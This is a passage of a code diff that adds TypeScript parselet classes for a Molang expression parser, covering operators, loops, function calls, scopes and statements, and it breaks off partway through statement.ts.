								packages/molang/src/parser/parselets/equals.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,19 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../../parser/parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class EqualsOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							return new GenericOperatorExpression(
 | 
				
			||||||
 | 
								leftExpression,
 | 
				
			||||||
 | 
								parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
								'==',
 | 
				
			||||||
 | 
								(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
									leftExpression.eval() === rightExpression.eval()
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										29
									
								
								packages/molang/src/parser/parselets/forEach.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										29
									
								
								packages/molang/src/parser/parselets/forEach.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,29 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { ForEachExpression } from '../expressions/forEach'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ForEachParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							parser.consume('LEFT_PARENT')
 | 
				
			||||||
 | 
							const args: IExpression[] = []
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (parser.match('RIGHT_PARENT'))
 | 
				
			||||||
 | 
								throw new Error(`for_each() called without arguments`)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							do {
 | 
				
			||||||
 | 
								args.push(parser.parseExpression())
 | 
				
			||||||
 | 
							} while (parser.match('COMMA'))
 | 
				
			||||||
 | 
							parser.consume('RIGHT_PARENT')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (args.length !== 3)
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`There must be exactly three for_each() arguments; found ${args.length}`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return new ForEachExpression(args[0], args[1], args[2])
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										26
									
								
								packages/molang/src/parser/parselets/function.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										26
									
								
								packages/molang/src/parser/parselets/function.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,26 @@
 | 
				
			|||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { FunctionExpression } from '../expressions/function'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class FunctionParselet implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, left: IExpression, token: Token) {
 | 
				
			||||||
 | 
							const args: IExpression[] = []
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (!left.setFunctionCall)
 | 
				
			||||||
 | 
								throw new Error(`${left.type} is not callable!`)
 | 
				
			||||||
 | 
							left.setFunctionCall(true)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (!parser.match('RIGHT_PARENT')) {
 | 
				
			||||||
 | 
								do {
 | 
				
			||||||
 | 
									args.push(parser.parseExpression())
 | 
				
			||||||
 | 
								} while (parser.match('COMMA'))
 | 
				
			||||||
 | 
								parser.consume('RIGHT_PARENT')
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return new FunctionExpression(left, args)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										31
									
								
								packages/molang/src/parser/parselets/greaterOperator.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										31
									
								
								packages/molang/src/parser/parselets/greaterOperator.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,31 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class GreaterOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							if (parser.match('EQUALS'))
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'>=',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										// @ts-ignore
 | 
				
			||||||
 | 
										leftExpression.eval() >= rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							else {
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'>',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										// @ts-ignore
 | 
				
			||||||
 | 
										leftExpression.eval() > rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										18
									
								
								packages/molang/src/parser/parselets/groupParselet.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										18
									
								
								packages/molang/src/parser/parselets/groupParselet.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,18 @@
 | 
				
			|||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { GroupExpression } from '../expressions/group'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class GroupParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							const expression = parser.parseExpression(this.precedence)
 | 
				
			||||||
 | 
							parser.consume('RIGHT_PARENT')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (parser.config.keepGroups)
 | 
				
			||||||
 | 
								return new GroupExpression(expression, '()')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return expression
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										8
									
								
								packages/molang/src/parser/parselets/infix.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										8
									
								
								packages/molang/src/parser/parselets/infix.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,8 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export interface IInfixParselet {
 | 
				
			||||||
 | 
						readonly precedence: number
 | 
				
			||||||
 | 
						parse: (parser: Parser, left: IExpression, token: Token) => IExpression
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										29
									
								
								packages/molang/src/parser/parselets/loop.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										29
									
								
								packages/molang/src/parser/parselets/loop.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,29 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { LoopExpression } from '../expressions/loop'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class LoopParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							parser.consume('LEFT_PARENT')
 | 
				
			||||||
 | 
							const args: IExpression[] = []
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (parser.match('RIGHT_PARENT'))
 | 
				
			||||||
 | 
								throw new Error(`loop() called without arguments`)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							do {
 | 
				
			||||||
 | 
								args.push(parser.parseExpression())
 | 
				
			||||||
 | 
							} while (parser.match('COMMA'))
 | 
				
			||||||
 | 
							parser.consume('RIGHT_PARENT')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (args.length !== 2)
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`There must be exactly two loop() arguments; found ${args.length}`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return new LoopExpression(args[0], args[1])
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										43
									
								
								packages/molang/src/parser/parselets/name.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										43
									
								
								packages/molang/src/parser/parselets/name.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,43 @@
 | 
				
			|||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { NameExpression } from '../expressions/name'
 | 
				
			||||||
 | 
					import { ContextSwitchExpression } from '../expressions/contextSwitch'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class NameParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							const nameExpr = new NameExpression(
 | 
				
			||||||
 | 
								parser.executionEnv,
 | 
				
			||||||
 | 
								token.getText()
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							const nextTokens = <const>[parser.lookAhead(0), parser.lookAhead(1)]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							// Context switching operator "->"
 | 
				
			||||||
 | 
							if (
 | 
				
			||||||
 | 
								nextTokens[0].getType() === 'MINUS' &&
 | 
				
			||||||
 | 
								nextTokens[1].getType() === 'GREATER'
 | 
				
			||||||
 | 
							) {
 | 
				
			||||||
 | 
								parser.consume('MINUS')
 | 
				
			||||||
 | 
								parser.consume('GREATER')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const nameToken = parser.lookAhead(0)
 | 
				
			||||||
 | 
								if (nameToken.getType() !== 'NAME')
 | 
				
			||||||
 | 
									throw new Error(
 | 
				
			||||||
 | 
										`Cannot use context switch operator "->" on ${parser.lookAhead(
 | 
				
			||||||
 | 
											0
 | 
				
			||||||
 | 
										)}`
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								parser.consume('NAME')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								return new ContextSwitchExpression(
 | 
				
			||||||
 | 
									nameExpr,
 | 
				
			||||||
 | 
									new NameExpression(parser.executionEnv, nameToken.getText())
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return nameExpr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										23
									
								
								packages/molang/src/parser/parselets/notEquals.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										23
									
								
								packages/molang/src/parser/parselets/notEquals.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,23 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class NotEqualsOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							if (parser.match('EQUALS')) {
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'!=',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										leftExpression.eval() !== rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								throw new Error(`! was used as a binary operator`)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										12
									
								
								packages/molang/src/parser/parselets/number.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										12
									
								
								packages/molang/src/parser/parselets/number.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,12 @@
 | 
				
			|||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { NumberExpression } from '../expressions/number'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class NumberParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							return new NumberExpression(Number(token.getText()))
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										21
									
								
								packages/molang/src/parser/parselets/orOperator.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										21
									
								
								packages/molang/src/parser/parselets/orOperator.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,21 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class OrOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							if (parser.match('OR'))
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'||',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										leftExpression.eval() || rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							else throw new Error(`"|" not followed by another "|"`)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										3
									
								
								packages/molang/src/parser/parselets/postfix.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										3
									
								
								packages/molang/src/parser/parselets/postfix.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,3 @@
 | 
				
			|||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export interface IPostfixParselet extends IInfixParselet {}
 | 
				
			||||||
							
								
								
									
										20
									
								
								packages/molang/src/parser/parselets/prefix.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										20
									
								
								packages/molang/src/parser/parselets/prefix.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,20 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { PrefixExpression } from '../expressions/prefix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export interface IPrefixParselet {
 | 
				
			||||||
 | 
						readonly precedence: number
 | 
				
			||||||
 | 
						parse: (parser: Parser, token: Token) => IExpression
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class PrefixOperator implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							return new PrefixExpression(
 | 
				
			||||||
 | 
								token.getType(),
 | 
				
			||||||
 | 
								parser.parseExpression(this.precedence)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										26
									
								
								packages/molang/src/parser/parselets/questionOperator.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										26
									
								
								packages/molang/src/parser/parselets/questionOperator.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,26 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					import { TernaryParselet } from './ternary'
 | 
				
			||||||
 | 
					import { EPrecedence } from '../precedence'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					const ternaryParselet = new TernaryParselet(EPrecedence.CONDITIONAL)
 | 
				
			||||||
 | 
					export class QuestionOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							if (parser.match('QUESTION')) {
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'??',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										leftExpression.eval() ?? rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								return ternaryParselet.parse(parser, leftExpression, token)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										18
									
								
								packages/molang/src/parser/parselets/return.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										18
									
								
								packages/molang/src/parser/parselets/return.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,18 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { NumberExpression } from '../expressions/number'
 | 
				
			||||||
 | 
					import { ReturnExpression } from '../expressions/return'
 | 
				
			||||||
 | 
					import { EPrecedence } from '../precedence'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ReturnParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							const expr = parser.parseExpression(EPrecedence.STATEMENT + 1)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return new ReturnExpression(
 | 
				
			||||||
 | 
								parser.match('SEMICOLON', false) ? expr : new NumberExpression(0)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										22
									
								
								packages/molang/src/parser/parselets/scope.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										22
									
								
								packages/molang/src/parser/parselets/scope.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,22 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { GroupExpression } from '../expressions/group'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ScopeParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							let expr = parser.parseExpression(this.precedence)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (
 | 
				
			||||||
 | 
								parser.config.useOptimizer &&
 | 
				
			||||||
 | 
								parser.config.earlyReturnsSkipTokenization &&
 | 
				
			||||||
 | 
								expr.isReturn
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
								parser.match('CURLY_RIGHT')
 | 
				
			||||||
 | 
							else parser.consume('CURLY_RIGHT')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return parser.config.keepGroups ? new GroupExpression(expr, '{}') : expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										31
									
								
								packages/molang/src/parser/parselets/smallerOperator.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										31
									
								
								packages/molang/src/parser/parselets/smallerOperator.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,31 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class SmallerOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							if (parser.match('EQUALS'))
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'<=',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										// @ts-ignore
 | 
				
			||||||
 | 
										leftExpression.eval() <= rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							else {
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'<',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										// @ts-ignore
 | 
				
			||||||
 | 
										leftExpression.eval() < rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										84
									
								
								packages/molang/src/parser/parselets/statement.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										84
									
								
								packages/molang/src/parser/parselets/statement.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,84 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					import { StatementExpression } from '../expressions/statement'
 | 
				
			||||||
 | 
					import { StaticExpression } from '../expressions/static'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class StatementParselet implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						findReEntryPoint(parser: Parser) {
 | 
				
			||||||
 | 
							let bracketCount = 1
 | 
				
			||||||
 | 
							let tokenType = parser.lookAhead(0).getType()
 | 
				
			||||||
 | 
							while (tokenType !== 'EOF') {
 | 
				
			||||||
 | 
								if (tokenType == 'CURLY_RIGHT') bracketCount--
 | 
				
			||||||
 | 
								else if (tokenType === 'CURLY_LEFT') bracketCount++
 | 
				
			||||||
 | 
								if (bracketCount === 0) break
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								parser.consume()
 | 
				
			||||||
 | 
								tokenType = parser.lookAhead(0).getType()
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, left: IExpression, token: Token) {
 | 
				
			||||||
 | 
							if (parser.config.useOptimizer) {
 | 
				
			||||||
 | 
								if (left.isStatic())
 | 
				
			||||||
 | 
									left = new StaticExpression(left.eval(), left.isReturn)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (parser.config.earlyReturnsSkipParsing && left.isReturn) {
 | 
				
			||||||
 | 
									if (!parser.config.earlyReturnsSkipTokenization)
 | 
				
			||||||
 | 
										this.findReEntryPoint(parser)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									return new StatementExpression([left])
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const expressions: IExpression[] = [left]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (!parser.match('CURLY_RIGHT', false)) {
 | 
				
			||||||
 | 
								do {
 | 
				
			||||||
 | 
									let expr = parser.parseExpression(this.precedence)
 | 
				
			||||||
 | 
									if (parser.config.useOptimizer) {
 | 
				
			||||||
 | 
										if (expr.isStatic()) {
 | 
				
			||||||
 | 
											if (
 | 
				
			||||||
 | 
												parser.config.useAgressiveStaticOptimizer &&
 | 
				
			||||||
 | 
												!expr.isReturn
 | 
				
			||||||
 | 
											)
 | 
				
			||||||
 | 
												continue
 | 
				
			||||||
 | 
											expr = new StaticExpression(expr.eval(), expr.isReturn)
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										if (
 | 
				
			||||||
 | 
											parser.config.earlyReturnsSkipParsing &&
 | 
				
			||||||
 | 
											(expr.isBreak || expr.isContinue || expr.isReturn)
 | 
				
			||||||
 | 
										) {
 | 
				
			||||||
 | 
											expressions.push(expr)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
											if (!parser.config.earlyReturnsSkipTokenization)
 | 
				
			||||||
 | 
												this.findReEntryPoint(parser)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
											return new StatementExpression(expressions)
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									expressions.push(expr)
 | 
				
			||||||
 | 
								} while (
 | 
				
			||||||
 | 
